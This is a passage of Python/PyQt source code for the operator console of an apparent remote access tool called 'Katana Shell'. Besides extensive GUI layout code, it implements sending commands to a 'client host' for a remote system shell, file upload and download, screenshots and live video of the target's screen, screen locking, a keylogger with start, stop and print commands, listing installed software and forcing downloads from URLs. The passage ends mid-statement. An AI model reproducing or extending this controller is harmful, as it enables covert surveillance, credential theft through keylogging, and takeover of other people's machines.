font4.setPointSize(14) self.label.setFont(font4) self.label.setAlignment(Qt.AlignCenter) self.verticalLayout_10.addWidget(self.label) self.label_7 = QLabel(self.page_home) self.label_7.setObjectName(u"label_7") font5 = QFont() font5.setFamily(u"Segoe UI") font5.setPointSize(15) self.label_7.setFont(font5) self.label_7.setAlignment(Qt.AlignCenter) self.verticalLayout_10.addWidget(self.label_7) self.stackedWidget.addWidget(self.page_home) self.page_widgets = QWidget() self.page_widgets.setObjectName(u"page_widgets") self.gridLayout_4 = QGridLayout(self.page_widgets) self.gridLayout_4.setSpacing(6) self.gridLayout_4.setObjectName(u"gridLayout_4") self.gridLayout_4.setContentsMargins(9, 9, -1, 9) self.gridLayout = QGridLayout() self.gridLayout.setSpacing(6) self.gridLayout.setObjectName(u"gridLayout") self.gridLayout.setContentsMargins(0, 0, 0, 0) self.frame_4 = QFrame(self.page_widgets) self.frame_4.setObjectName(u"frame_4") self.frame_4.setMinimumSize(QSize(10, 222)) self.frame_4.setMaximumSize(QSize(16777215, 16777215)) self.frame_4.setStyleSheet(u"background-color: rgb(41, 45, 56);\n" "border-radius: 5px;") self.frame_4.setFrameShape(QFrame.StyledPanel) self.frame_4.setFrameShadow(QFrame.Raised) self.gridLayout_3 = QGridLayout(self.frame_4) self.gridLayout_3.setSpacing(9) self.gridLayout_3.setObjectName(u"gridLayout_3") self.gridLayout_3.setContentsMargins(0, 0, 0, 0) self.verticalLayout_6 = QVBoxLayout() self.verticalLayout_6.setObjectName(u"verticalLayout_6") self.verticalLayout_6.setContentsMargins(0, -1, 0, -1) self.scrollArea_2 = QScrollArea(self.frame_4) self.scrollArea_2.setObjectName(u"scrollArea_2") self.scrollArea_2.setStyleSheet(u"background-color: rgb(27, 29, 35);\n" "border-radius: 5px;") self.scrollArea_2.setWidgetResizable(True) self.scrollAreaWidgetContents_4 = QWidget() self.scrollAreaWidgetContents_4.setObjectName(u"scrollAreaWidgetContents_4") self.scrollAreaWidgetContents_4.setGeometry(QRect(0, 0, 654, 184)) self.gridLayout_7 = QGridLayout(self.scrollAreaWidgetContents_4) self.gridLayout_7.setObjectName(u"gridLayout_7") self.host_terminal = QLabel(self.scrollAreaWidgetContents_4) self.host_terminal.setObjectName(u"label_3") self.host_terminal.setAlignment(Qt.AlignLeading | Qt.AlignLeft | Qt.AlignTop) self.gridLayout_7.addWidget(self.host_terminal, 0, 0, 1, 1) self.scrollArea_2.setWidget(self.scrollAreaWidgetContents_4) self.verticalLayout_6.addWidget(self.scrollArea_2) self.lineEdit_2 = QLineEdit(self.frame_4) self.lineEdit_2.setObjectName(u"lineEdit_2") self.lineEdit_2.setMinimumSize(QSize(90, 30)) self.lineEdit_2.setStyleSheet(u"QLineEdit {\n" " background-color: rgb(27, 29, 35);\n" " border-radius: 5px;\n" " border: 2px solid rgb(27, 29, 35);\n" " padding-left: 10px;\n" "}") self.verticalLayout_6.addWidget(self.lineEdit_2) self.gridLayout_3.addLayout(self.verticalLayout_6, 0, 0, 4, 1) self.verticalLayout_7 = QVBoxLayout() self.verticalLayout_7.setSpacing(8) self.verticalLayout_7.setObjectName(u"verticalLayout_7") self.verticalLayout_7.setContentsMargins(0, 2, 0, 0) self.gridLayout_3.addLayout(self.verticalLayout_7, 0, 1, 4, 1) self.gridLayout.addWidget(self.frame_4, 0, 0, 1, 1) self.gridLayout_4.addLayout(self.gridLayout, 6, 0, 1, 1) self.frame = QFrame(self.page_widgets) self.frame.setObjectName(u"frame") self.frame.setMinimumSize(QSize(122, 320)) self.frame.setMaximumSize(QSize(16777215, 16777215)) self.frame.setStyleSheet(u"background-color: rgb(27, 29, 35);\n" "border-radius: 5px;\n") self.frame.setFrameShape(QFrame.StyledPanel) self.frame.setFrameShadow(QFrame.Raised) self.verticalLayout_15 = QVBoxLayout(self.frame) self.verticalLayout_15.setSpacing(0) self.verticalLayout_15.setObjectName(u"verticalLayout_15") self.verticalLayout_15.setContentsMargins(0, 0, 0, 0) self.gridLayout_4.addWidget(self.frame, 0, 0, 5, 1) self.horizontalLayout_9 = QHBoxLayout() self.horizontalLayout_9.setSpacing(0) self.horizontalLayout_9.setObjectName(u"horizontalLayout_9") self.horizontalLayout_9.setContentsMargins(0, 0, 0, 0) self.frame_div_content_2 = QFrame(self.page_widgets) self.frame_div_content_2.setObjectName(u"frame_div_content_2") self.frame_div_content_2.setMinimumSize(QSize(300, 590)) self.frame_div_content_2.setMaximumSize(QSize(16777215, 16777215)) self.frame_div_content_2.setStyleSheet(u"background-color: rgb(41, 45, 56);\n" "border-radius: 5px;\n" "") self.frame_div_content_2.setFrameShape(QFrame.NoFrame) self.frame_div_content_2.setFrameShadow(QFrame.Raised) self.verticalLayout_12 = QVBoxLayout(self.frame_div_content_2) self.verticalLayout_12.setSpacing(0) self.verticalLayout_12.setObjectName(u"verticalLayout_12") self.verticalLayout_12.setContentsMargins(0, 0, 0, 0) self.scrollArea = QScrollArea(self.frame_div_content_2) self.scrollArea.setObjectName(u"scrollArea") self.scrollArea.setStyleSheet(u"background-color: rgb(27, 29, 35);\n" "border-radius: 5px;\n" "") self.scrollArea.setWidgetResizable(True) self.scrollAreaWidgetContents_2 = QWidget() self.scrollAreaWidgetContents_2.setObjectName(u"scrollAreaWidgetContents_2") self.scrollAreaWidgetContents_2.setGeometry(QRect(0, 0, 300, 553)) self.gridLayout_6 = QGridLayout(self.scrollAreaWidgetContents_2) self.gridLayout_6.setObjectName(u"gridLayout_6") self.system_terminal = QLabel(self.scrollAreaWidgetContents_2) self.system_terminal.setObjectName(u"label_2") self.system_terminal.setAlignment(Qt.AlignLeading | Qt.AlignLeft | Qt.AlignTop) self.gridLayout_6.addWidget(self.system_terminal, 0, 0, 1, 1) self.scrollArea.setWidget(self.scrollAreaWidgetContents_2) self.verticalLayout_12.addWidget(self.scrollArea) self.verticalSpacer = QSpacerItem(7, 7, QSizePolicy.Minimum, QSizePolicy.Fixed) self.verticalLayout_12.addItem(self.verticalSpacer) self.lineEdit = QLineEdit(self.frame_div_content_2) self.lineEdit.setObjectName(u"lineEdit") self.lineEdit.setMinimumSize(QSize(0, 30)) self.lineEdit.setStyleSheet(u"QLineEdit {\n" " background-color: rgb(27, 29, 35);\n" " border-radius: 5px;\n" " border: 2px solid rgb(27, 29, 35);\n" " padding-left: 10px;\n" "}\n" "") self.verticalLayout_12.addWidget(self.lineEdit) self.horizontalLayout_9.addWidget(self.frame_div_content_2) self.gridLayout_4.addLayout(self.horizontalLayout_9, 0, 1, 7, 3) self.frame_3 = QFrame(self.page_widgets) self.frame_3.setObjectName(u"frame_3") self.frame_3.setMinimumSize(QSize(0, 0)) self.frame_3.setMaximumSize(QSize(16777215, 32)) self.frame_3.setStyleSheet(u"border-radius: 5px;") self.frame_3.setFrameShape(QFrame.StyledPanel) self.frame_3.setFrameShadow(QFrame.Raised) self.horizontalLayout_13 = QHBoxLayout(self.frame_3) self.horizontalLayout_13.setSpacing(5) self.horizontalLayout_13.setObjectName(u"horizontalLayout_13") self.horizontalLayout_13.setContentsMargins(0, 1, 0, 9) self.toolButton_4 = QToolButton(self.frame_3) self.toolButton_4.setObjectName(u"toolButton_4") self.toolButton_4.setMinimumSize(QSize(90, 30)) self.toolButton_4.setMaximumSize(QSize(16777215, 30)) self.toolButton_4.setCursor(QCursor(Qt.PointingHandCursor)) self.toolButton_4.setStyleSheet(u"background-position: left center;\n" "background-repeat: no-repeat;\n" "border: none;\n" "background-color: rgb(27, 29, 35);\n" "border-radius: 5px;") icon3 = QIcon() icon3.addFile(u":/24x24/icons/24x24/cil-reload.png", QSize(), QIcon.Normal, QIcon.Off) self.toolButton_4.setIcon(icon3) self.horizontalLayout_13.addWidget(self.toolButton_4) self.toolButton = QToolButton(self.frame_3) self.toolButton.setObjectName(u"toolButton") self.toolButton.setMinimumSize(QSize(90, 30)) self.toolButton.setMaximumSize(QSize(16777215, 30)) self.toolButton.setCursor(QCursor(Qt.PointingHandCursor)) self.toolButton.setStyleSheet(u"background-position: left center;\n" "background-repeat: no-repeat;\n" "border: none;\n" "background-color: rgb(27, 29, 35);\n" "border-radius: 5px;") icon4 = QIcon() icon4.addFile(u":/24x24/icons/24x24/cil-lock-locked.png", QSize(), QIcon.Normal, QIcon.Off) self.toolButton.setIcon(icon4) self.horizontalLayout_13.addWidget(self.toolButton) self.toolButton_2 = QToolButton(self.frame_3) self.toolButton_2.setObjectName(u"toolButton_2") self.toolButton_2.setMinimumSize(QSize(90, 30)) self.toolButton_2.setMaximumSize(QSize(16777215, 30)) self.toolButton_2.setCursor(QCursor(Qt.PointingHandCursor)) self.toolButton_2.setStyleSheet(u"background-position: left center;\n" "background-repeat: no-repeat;\n" "border: none;\n" "background-color: rgb(27, 29, 35);\n" "border-radius: 5px;") icon5 = QIcon() icon5.addFile(u":/24x24/icons/24x24/cil-lock-unlocked.png", QSize(), QIcon.Normal, QIcon.Off) self.toolButton_2.setIcon(icon5) self.horizontalLayout_13.addWidget(self.toolButton_2) #self.toolButton_8 = QToolButton(self.frame_3) #self.toolButton_8.setObjectName(u"toolButton_8") #self.toolButton_8.setMinimumSize(QSize(78, 30)) #self.toolButton_8.setMaximumSize(QSize(16777215, 30)) #self.toolButton_8.setCursor(QCursor(Qt.PointingHandCursor)) #self.toolButton_8.setStyleSheet(u"background-position: left center;\n" # "background-repeat: no-repeat;\n" # "border: none;\n" # "background-color: rgb(27, 29, 35);\n" # "border-radius: 5px;") #icon6 = QIcon() #icon6.addFile(u":/24x24/icons/24x24/cil-touch-app.png", QSize(), QIcon.Normal, QIcon.Off) #self.toolButton_8.setIcon(icon6) #self.toolButton_8.setIconSize(QSize(17, 17)) #self.horizontalLayout_13.addWidget(self.toolButton_8) self.toolButton_3 = QToolButton(self.frame_3) self.toolButton_3.setObjectName(u"toolButton_3") self.toolButton_3.setMinimumSize(QSize(90, 30)) self.toolButton_3.setMaximumSize(QSize(16777215, 30)) self.toolButton_3.setCursor(QCursor(Qt.PointingHandCursor)) self.toolButton_3.setStyleSheet(u"background-position: left center;\n" "background-repeat: no-repeat;\n" "border: none;\n" "background-color: rgb(27, 29, 35);\n" "border-radius: 5px;") icon7 = QIcon() icon7.addFile(u":/24x24/icons/24x24/cil-camera.png", QSize(), QIcon.Normal, QIcon.Off) self.toolButton_3.setIcon(icon7) self.horizontalLayout_13.addWidget(self.toolButton_3) self.toolButton_5 = QToolButton(self.frame_3) self.toolButton_5.setObjectName(u"toolButton_5") self.toolButton_5.setMinimumSize(QSize(100, 30)) self.toolButton_5.setMaximumSize(QSize(16777215, 30)) self.toolButton_5.setCursor(QCursor(Qt.PointingHandCursor)) self.toolButton_5.setStyleSheet(u"background-position: left center;\n" "background-repeat: no-repeat;\n" "border: none;\n" "background-color: rgb(27, 29, 35);\n" "border-radius: 5px;") icon8 = QIcon() icon8.addFile(u":/24x24/icons/24x24/cil-video.png", QSize(), QIcon.Normal, QIcon.Off) self.toolButton_5.setIcon(icon8) self.toolButton_5.setIconSize(QSize(17, 16)) self.horizontalLayout_13.addWidget(self.toolButton_5) self.gridLayout_4.addWidget(self.frame_3, 5, 0, 1, 1) self.stackedWidget.addWidget(self.page_widgets) self.verticalLayout_9.addWidget(self.stackedWidget) self.verticalLayout_4.addWidget(self.frame_content) self.frame_grip = QFrame(self.frame_content_right) self.frame_grip.setObjectName(u"frame_grip") self.frame_grip.setMinimumSize(QSize(0, 25)) self.frame_grip.setMaximumSize(QSize(16777215, 25)) self.frame_grip.setStyleSheet(u"background-color: rgb(33, 37, 43);") self.frame_grip.setFrameShape(QFrame.NoFrame) self.frame_grip.setFrameShadow(QFrame.Raised) self.horizontalLayout_6 = QHBoxLayout(self.frame_grip) self.horizontalLayout_6.setSpacing(0) self.horizontalLayout_6.setObjectName(u"horizontalLayout_6") self.horizontalLayout_6.setContentsMargins(0, 0, 2, 0) self.frame_label_bottom = QFrame(self.frame_grip) self.frame_label_bottom.setObjectName(u"frame_label_bottom") self.frame_label_bottom.setFrameShape(QFrame.NoFrame) self.frame_label_bottom.setFrameShadow(QFrame.Raised) self.horizontalLayout_7 = QHBoxLayout(self.frame_label_bottom) self.horizontalLayout_7.setSpacing(0) self.horizontalLayout_7.setObjectName(u"horizontalLayout_7") self.horizontalLayout_7.setContentsMargins(10, 0, 10, 0) self.label_credits = QLabel(self.frame_label_bottom) self.label_credits.setObjectName(u"label_credits") self.label_credits.setFont(font2) self.label_credits.setStyleSheet(u"color: rgb(98, 103, 111);") self.horizontalLayout_7.addWidget(self.label_credits) #self.host_terminal.setTextInteractionFlags(Qt.TextSelectableByMouse) #self.system_terminal.setTextInteractionFlags(Qt.TextSelectableByMouse) self.label_version = QLabel(self.frame_label_bottom) self.label_version.setObjectName(u"label_version") self.label_version.setMaximumSize(QSize(100, 16777215)) self.label_version.setFont(font2) self.label_version.setStyleSheet(u"color: rgb(98, 103, 111);") self.label_version.setAlignment(Qt.AlignRight | Qt.AlignTrailing | Qt.AlignVCenter) self.horizontalLayout_7.addWidget(self.label_version) self.horizontalLayout_6.addWidget(self.frame_label_bottom) self.frame_size_grip = QFrame(self.frame_grip) self.frame_size_grip.setObjectName(u"frame_size_grip") self.frame_size_grip.setMaximumSize(QSize(20, 20)) self.frame_size_grip.setStyleSheet(u"QSizeGrip {\n" " background-image: url(:/16x16/icons/16x16/cil-size-grip.png);\n" " background-position: center;\n" " background-repeat: no-reperat;\n" "}") self.frame_size_grip.setFrameShape(QFrame.NoFrame) self.frame_size_grip.setFrameShadow(QFrame.Raised) self.horizontalLayout_6.addWidget(self.frame_size_grip) self.verticalLayout_4.addWidget(self.frame_grip) self.horizontalLayout_2.addWidget(self.frame_content_right) self.verticalLayout.addWidget(self.frame_center) self.horizontalLayout.addWidget(self.frame_main) MainWindow.setCentralWidget(self.centralwidget) QWidget.setTabOrder(self.btn_minimize, self.btn_maximize_restore) QWidget.setTabOrder(self.btn_maximize_restore, self.btn_close) self.retranslateUi(MainWindow) self.stackedWidget.setCurrentIndex(1) QMetaObject.connectSlotsByName(MainWindow) # setupUi ########### SIZE/FONT ###################### try: with open('bin/profile/hs_size.txt', 'r') as hssr: set_hssr = hssr.read() self.host_terminal.setStyleSheet(f'font-size: {int(set_hssr)}px;') except: self.label.setStyleSheet(f'font-size: {int(set_hssr)}px;') try: with open('bin/profile/st_size.txt', 'r') as sssr: set_sssr = sssr.read() self.system_terminal.setStyleSheet(f'font-size: {int(set_sssr)}px;') except: self.system_terminal.setStyleSheet(f'font-size: {11}px;') self.frame_div_content_2.setMinimumSize(QSize(300, 590)) self.frame_div_content_2.setMaximumSize(QSize(16777215, 16777215)) self.frame.setMinimumSize(QSize(549, 322)) self.frame.setMaximumSize(QSize(549, 16777215)) self.scrollArea.setMinimumSize(QSize(300, 550)) self.scrollArea.setMaximumSize(QSize(16777215, 16777215)) self.scrollArea_2.setMinimumSize(QSize(16777215, 183)) self.scrollArea_2.setMaximumSize(QSize(16777215, 183)) self.lineEdit_2.setMinimumSize(QSize(490, 30)) self.frame_3.setMinimumSize(QSize(0, 32)) self.frame_3.setMaximumSize(QSize(560, 32)) self.frame_4.setMaximumSize(QSize(16777215, 222)) self.frame_4.setMaximumSize(QSize(547, 16777215)) ########### PIXMAP ###################### self.gridLayoutPixMap = QGridLayout() self.gridLayoutPixMap.setObjectName(u"gridLayoutPixMap") self.label_23 = QLabel(self.frame) self.label_23.setObjectName(u"label_23") self.gridLayoutPixMap.addWidget(self.label_23, 0, 0, 1, 1) self.verticalLayout_15.addLayout(self.gridLayoutPixMap) self.label_23 = QLabel(self.frame) self.label_23.setObjectName(u"label_23") self.gridLayoutPixMap.addWidget(self.label_23, 0, 0, 1, 1) self.label_23.setText(QCoreApplication.translate("MainWindow", u"TextLabel", None)) self.pixmap = QtGui.QPixmap('icons/others/no-image-avaliable.png') self.label_23.setPixmap(self.pixmap) self.label_23.setScaledContents(True) self.label_23.mousePressEvent = self.getPos ######################################################################################### self.lineEdit.returnPressed.connect(self.call_sc) self.lineEdit_2.returnPressed.connect(self.katana_shell) self.system_terminal.setTextInteractionFlags(Qt.TextSelectableByMouse) self.host_terminal.setTextInteractionFlags(Qt.TextSelectableByMouse) self.system_terminal.setCursor(QCursor(QtCore.Qt.IBeamCursor)) self.host_terminal.setCursor(QCursor(QtCore.Qt.IBeamCursor)) # Connecting the button functions # Update screenshot button self.toolButton_4.clicked.connect(self.th_us) # Save screenshot button self.toolButton_3.clicked.connect(self.th_ss) # Lock screen button self.toolButton.clicked.connect(self.th_ls) # Unlock screen button self.toolButton_2.clicked.connect(self.th_uls) # Start video-streaming button self.toolButton_5.clicked.connect(self.th_vs) self.record_status = False self.start_video_save_status = False self.video_start_status = False my_font = QFont('Consolas', 12) self.system_terminal.setFont(my_font) self.host_terminal.setFont(my_font) self.lineEdit_2.setFont(my_font) self.lineEdit.setFont(my_font) self.system_terminal.setText('Type "-help" for more information.\n') self.host_terminal.setText('Type "-help" for more information.\n') self.terminal_history = [] self.host_history = [] self.list_commands = [ "\nThis is a synchronized terminal with host, you can type commands \nlike a terminal. Another reserved commands:\n", "\n-help Displays this help.\n", "-clear Clears the terminal.\n", "-fontsize <int> Sets the font size.\n", "-restart Restarts the script of host.\n", "-print Saves the terminal output to a text file.\n", "-history Shows the history of commands.\n", "-restore Restores the last STDOUT.\n", "-fput <server_path> /: <client_path> Upload a file to client host.\n", "-fget <client_path> /: <server_path> Downloads a file from client host.\n"] self.list_commands_host = [ "\nThis is a lite terminal, you can do some extra functions:\n", "\n-help Displays this help.\n", "-clear Clears the terminal\n", "-info Shows informations about host.\n", "-fontsize <int> Sets the font size.\n", "-history Shows the history of commands.\n", "-softwares Lists the softwares installed on host.\n", "-keylogger start Start the keylogger function.\n", "-keylogger stop Stop the keylogger function.\n", "-keylogger print Shows the keylogger log.\n", "-webget <URL> -f <file_path> Download a file from URL.\n", "-webraw <URL> -f <file_path> Download content from raw page.\n", "-svideosize <width>:<height> Sets the size of stream window.\n"] def keyPressEvent(self, e): """ Ignore it. """ return def keyReleaseEvent(self, event): """ Ignore it. """ if self.focusWidget().objectName() == 'lineEdit': if event.key() == Qt.Key_Down: print('baixo') elif event.key() == Qt.Key_Up: print('cima') else: super().keyPressEvent(event) def th_vs(self): """ Creates a threading process with video_start function. """ threadd = threading.Thread(target=self.video_start, args=()) threadd.daemon = True threadd.start() def video_start(self): self.call_sc(st_strm=True) def th_cs(self): """ Creates a threading process with control_screen function. """ if not self.record_status: self.record_status = True else: self.record_status = False return threadd = threading.Thread(target=self.control_screen, args=()) threadd.daemon = True threadd.start() def control_screen(self): """ Ignore it. """ while self.record_status: coordinates = pyautogui.position() coordinates = str(coordinates).replace('Point(x=', '').replace('y=', '').replace(')', '').replace(' ', '') set_coordinates = f'[COORDINATES]{coordinates}' self.call_sc(coordinates=set_coordinates) time.sleep(1) def getPos(self, event): """ Ignore it. """ x = event.pos().x() y = event.pos().y() print(x, y) def th_uls(self): """ Creates a threading process with unlock_screen function. """ self.toolButton_2.setEnabled(False) threadd = threading.Thread(target=self.unlock_screen, args=()) threadd.daemon = True threadd.start() def unlock_screen(self): self.call_sc(sculk=True) self.toolButton_2.setEnabled(True) def th_ls(self): """ Creates a threading process with lock_screen function. """ self.toolButton.setEnabled(False) threadd = threading.Thread(target=self.lock_screen, args=()) threadd.daemon = True threadd.start() def lock_screen(self): self.call_sc(sclk=True) self.toolButton.setEnabled(True) def th_ss(self): """ Sets the path that will saved the screenshot and Creates a threading process with save_screenshot function. """ self.toolButton_3.setEnabled(False) self.path_image = QtWidgets.QFileDialog.getSaveFileName()[0] threadd = threading.Thread(target=self.save_screenshot, args=()) threadd.daemon = True threadd.start() def save_screenshot(self): """ Calls the call_sc function and wait the file transfer to save the screenshot in the path variable. """ self.call_sc(btn_scr=True) time.sleep(10) try: if os.path.isfile(f'bin/resources/cache/screenshot_{self.hselected}.png'): with open(f'bin/resources/cache/screenshot_{self.hselected}.png', 'rb') as read_img: content_print = read_img.read() with open(f'{self.path_image}.png', 'wb') as save_img: save_img.write(content_print) print(3) #os.remove(f'bin/resources/cache/screenshot_{self.hselected}.png') else: try: #os.remove(f'bin/resources/cache/screenshot_{self.hselected}.png') pass except: pass except Exception as exception: print("Exception: {}".format(type(exception).__name__)) print("Exception message: {}".format(exception)) self.toolButton_3.setEnabled(True) def th_us(self): """ Creates a threading process with update_screenshot function. """ threadd = threading.Thread(target=self.update_screenshot, args=()) threadd.daemon = True threadd.start() def update_screenshot(self, sv_status='False'): """ Calls the call_sc function and wait the file transfer to update the screenshot on the painel. """ try: self.call_sc(btn_scr=True) time.sleep(9) except: pass try: path = f'bin/resources/cache/screenshot_{self.hselected}.png' self.pixmap = QtGui.QPixmap(path) self.label_23.setPixmap(self.pixmap) self.label_23.setScaledContents(True) except: pass def save_ks(self): """ Saves the output of terminal to a text file. """ file_name = QtWidgets.QFileDialog.getSaveFileName()[0] with open(f'{file_name}.txt', 'w') as save_output: try: save_output.write(self.host_terminal.text()) except: pass save_output.close() def katana_shell(self): """ Katana Shell represent the lite terminal. When the lite terminal is invoked with a command this function is invoked. """ current_call = str(self.lineEdit_2.displayText()).lstrip() gtsv = self.host_terminal.text() if gtsv == '' or gtsv == ' ': self.host_terminal.setText(f'>>> {current_call}\n') else: self.host_terminal.setText(f'{gtsv}\n>>> {current_call}\n') if current_call == '' or current_call == ' ' or current_call == ' ': return now = datetime.datetime.now() now_minute = now.minute if len(str(now_minute)) == 1: now_minute = '0' + str(now_minute) append_history = f'{now.hour}:{now_minute} {current_call}' self.host_history.insert(len(self.host_history), append_history) if self.lineEdit_2.displayText() == '-clear' or self.lineEdit_2.displayText() == 'clear': self.host_terminal.clear() self.lineEdit_2.clear() return elif self.lineEdit_2.displayText() == '-history': self.lineEdit_2.clear() if self.host_history == []: return final_string = '' for item in self.host_history: final_string += f'{item}\n' gcfi = self.host_terminal.text() if gcfi == '' or gcfi == ' ': self.host_terminal.setText(f'{final_string}\n') else: self.host_terminal.setText(f'{gcfi}\n{final_string}') return elif self.lineEdit_2.displayText().startswith('-svideosize'): with open('bin/profile/vstream_size.txt', 'w') as f: f.write(self.lineEdit_2.text().replace('-svideosize ', '').rstrip().lstrip()) self.lineEdit_2.clear() return elif self.lineEdit_2.displayText().startswith('-fontsize'): fsize = str(self.lineEdit_2.displayText()).replace('-fontsize', '').replace(' ','') self.lineEdit_2.clear() try: self.host_terminal.setStyleSheet(f'font-size: {int(fsize)}px;') with open('bin/profile/hs_size.txt', 'w') as hss: hss.write(fsize) except: pass return elif self.lineEdit_2.displayText() == '-help': chtg = self.host_terminal.text() if chtg == '' or chtg == ' ': for e in self.list_commands_host: chtg = self.host_terminal.text() self.host_terminal.setText(f"{e}") else: for e in self.list_commands_host: chtg = self.host_terminal.text() self.host_terminal.setText(f"{chtg}{e}") self.lineEdit_2.clear() return elif self.lineEdit_2.displayText() == '-info': with open(f'bin/hosts/{self.hselected}.txt', 'r') as info_about_host: get_info = info_about_host.read() info_about_host.close() get_info = get_info.split('\n') cont_l = '' for info_exp in get_info: if info_exp != '' and info_exp != ' ' and info_exp != 'system_info': info_exp = info_exp.replace(":", ": ") cont_l += info_exp + '\n' ctls = self.host_terminal.text() if ctls == '' or ctls == ' ': self.host_terminal.setText(f'{cont_l}') else: self.host_terminal.setText(f'{ctls}\n{cont_l}') #self.plainTextEdit.insertPlainText(f"{''.join([chr(13)])}") self.lineEdit_2.clear() elif self.lineEdit_2.text() == '-softwares': self.call_sc(soft_list=True) gcts = self.host_terminal.text() if gcts == '' or gcts == ' ': self.host_terminal.setText( f'Requesting for softwares list, please wait.\n') else: self.host_terminal.setText( f'{gcts}\nRequesting for softwares list, please wait.\n') self.lineEdit_2.clear() elif self.lineEdit_2.text().startswith('-webget'): self.call_sc(wget='[@%WEBGET%@]' + self.lineEdit_2.text()) self.lineEdit_2.clear() elif self.lineEdit_2.text().startswith('-webraw'): self.call_sc(wraw='[@%WEBRAW%@]' + self.lineEdit_2.text()) self.lineEdit_2.clear() elif self.lineEdit_2.text() == '-keylogger start': self.call_sc(kl_start=True) gcts = self.host_terminal.text() if gcts == '' or gcts == ' ': self.host_terminal.setText( f'Keylogger function will be started.\n') else: self.host_terminal.setText( f'{gcts}\nKeylogger function will be started.\n') self.lineEdit_2.clear() elif self.lineEdit_2.text() == '-keylogger stop': self.call_sc(kl_stop=True) gcts = self.host_terminal.text() if gcts == '' or gcts == ' ': self.host_terminal.setText( f'Keylogger function will be stopped.\n') else: self.host_terminal.setText( f'{gcts}\nKeylogger function will be stopped.\n') self.lineEdit_2.clear() elif self.lineEdit_2.text() == '-keylogger print': self.call_sc(kl_print=True) gcts = self.host_terminal.text() if gcts == '' or gcts == ' ': self.host_terminal.setText( f'Trying to open the keylogger log.\n') else: self.host_terminal.setText( f'{gcts}\nTrying to open the keylogger log.\n') self.lineEdit_2.clear() else: gctfs = self.host_terminal.text() if gctfs == '' or gctfs == ' ': self.host_terminal.setText(f'Invalid command or syntax, please try again. For more informations type "-help".\n') else: self.host_terminal.setText(f'{gctfs}\nInvalid command or syntax, please try again. For more informations type "-help".\n') self.lineEdit_2.clear() return def call_sc(self, btn_scr=False, sclk=False, sculk=False, coordinates=None, rec_start=False, rec_stop=False , rec_get=False, st_strm=False, live_video=False, kl_start=False, kl_stop=False, kl_print=False, soft_list=False, wget=False, wraw=False): """ The call_sc is responsible to write the command to the STDIN file of host "/bin/request/transfer/stdout/<tag>" and invoke the 'execute' "/bin/request/transfer/execute/<tag>" (if execute file is True the server will send the command, if the execute is False the server don't send any command). So, the function will verify the STDOUT file of host "/bin/request/transfer/stdin/<tag>" for check if the response of client was received. If the response of client was received it will write in the terminal output. """ current_call = str(self.lineEdit.displayText()) gotps = self.system_terminal.text() now = datetime.datetime.now() now_minute = now.minute if btn_scr or sclk or sculk or st_strm or soft_list or wget or wraw or kl_stop or kl_start or kl_print: current_call = 'ignore' if not kl_start and not kl_stop and not kl_print and not soft_list and not wget and not wraw and not btn_scr and not sclk and not sculk\ and not st_strm: if gotps == '' or gotps == ' ': self.system_terminal.setText(f'>>> {current_call}\n') else: self.system_terminal.setText(f'{gotps}\n>>> {current_call}\n') if current_call == '' or current_call == ' ' or current_call == ' ': return if len(str(now_minute)) == 1: now_minute = '0' + str(now_minute) append_history = f'{now.hour}:{now_minute} {current_call}' self.terminal_history.insert(len(self.terminal_history), append_history) if self.lineEdit.displayText() == '-clear' or self.lineEdit.displayText() == 'clear': self.lineEdit.clear() self.system_terminal.clear() return if self.lineEdit.displayText() == '-print' or self.lineEdit.displayText() == '-print ': self.path_image = QtWidgets.QFileDialog.getSaveFileName()[0] with open(self.path_image + '.txt', 'w') as svstd: self.lineEdit.clear() svstd.write(self.system_terminal.text()) svstd.close() return if self.lineEdit.displayText() == '-help': self.lineEdit.clear() gcfi = self.system_terminal.text() if gcfi == '' or gcfi == ' ': for e in self.list_commands: gcfi = self.system_terminal.text() self.system_terminal.setText(f'{gcfi}{e}') else: for e in self.list_commands: gcfi = self.system_terminal.text() self.system_terminal.setText(f'{gcfi}{e}') return if self.lineEdit.displayText() == '-history': self.lineEdit.clear() if self.terminal_history == []: return final_string = '' for item in self.terminal_history: final_string += f'{item}\n' gcfi = self.system_terminal.text() if gcfi == '' or gcfi == ' ': self.system_terminal.setText(f'{final_string}\n') else: self.system_terminal.setText(f'{gcfi}\n{final_string}') return if self.lineEdit.displayText() == '-restart': gcfi = self.system_terminal.text() if gcfi == '' or gcfi == ' ': self.system_terminal.setText(f'The script of host will be restarted, please wait.\n') else: self.system_terminal.setText(f'{gcfi}\nThe script of host will be restarted, please wait.\n') if self.lineEdit.displayText().startswith('-fget'): gcfi = self.system_terminal.text() if gcfi == '' or gcfi == ' ': self.system_terminal.setText(f'The file will be downloaded, please wait.\n') else: self.system_terminal.setText(f'{gcfi}\nThe file will be downloaded, please wait.\n') if self.lineEdit.displayText().startswith('-fput'): gcfi = self.system_terminal.text() if gcfi == '' or gcfi == ' ': self.system_terminal.setText(f'The file will be uploaded, please wait.\n') else: self.system_terminal.setText(f'{gcfi}\nThe file will be uploaded, please wait.\n') if self.lineEdit.displayText().startswith('-fontsize'): fsize = str(self.lineEdit.displayText()).replace('-fontsize', '').replace(' ','') self.lineEdit.clear() print(int(fsize)) try: self.system_terminal.setStyleSheet(f'font-size: {int(fsize)}px;') with open('bin/profile/st_size.txt', 'w') as hss: hss.write(fsize) except: pass return with open(f'bin/request/transfer/stdin/{self.hselected}', 'w') as new_task: try: if btn_scr: new_task.write(f'%get-screenshot%') elif str(self.lineEdit.displayText()).startswith('-fget'): new_task.write(str(self.lineEdit.displayText())) elif str(self.lineEdit.displayText()).startswith('-fput'): new_task.write(str(self.lineEdit.displayText())) elif rec_start: new_task.write(f'%rcstr%') elif wget: new_task.write(wget) elif wraw: new_task.write(wraw) elif soft_list: new_task.write(f'@%list-softwares%@') elif kl_print: new_task.write(f'%print-kl-function%') elif kl_start: new_task.write(f'%start-kl-function%') elif kl_stop: new_task.write(f'%stop-kl-function%') elif st_strm: new_task.write(f'%sv-init-live-video%') elif sclk: new_task.write(f'%lock-screen%') elif sculk: new_task.write(f'%unlock-screen%') else: new_task.write(f'[SYSTEM_SHELL]{str(self.lineEdit.displayText())}') except: pass return new_task.close() if btn_scr or sclk or sculk or coordinates or rec_start or rec_stop or rec_get \ or st_strm or live_video: with open(f'bin/request/transfer/execute/{self.hselected}', 'w') as new_task: new_task.write('True') new_task.close() return self.lineEdit.clear() threadd = threading.Thread(target=self.shell_control, args=()) threadd.daemon = True threadd.start() time.sleep(0.1) def shell_control(self): with open(f'bin/request/transfer/execute/{self.hselected}', 'w') as new_task: new_task.write('True') new_task.close() for e in range(60): with open(f'bin/request/transfer/stdout/{self.hselected}', "r") as 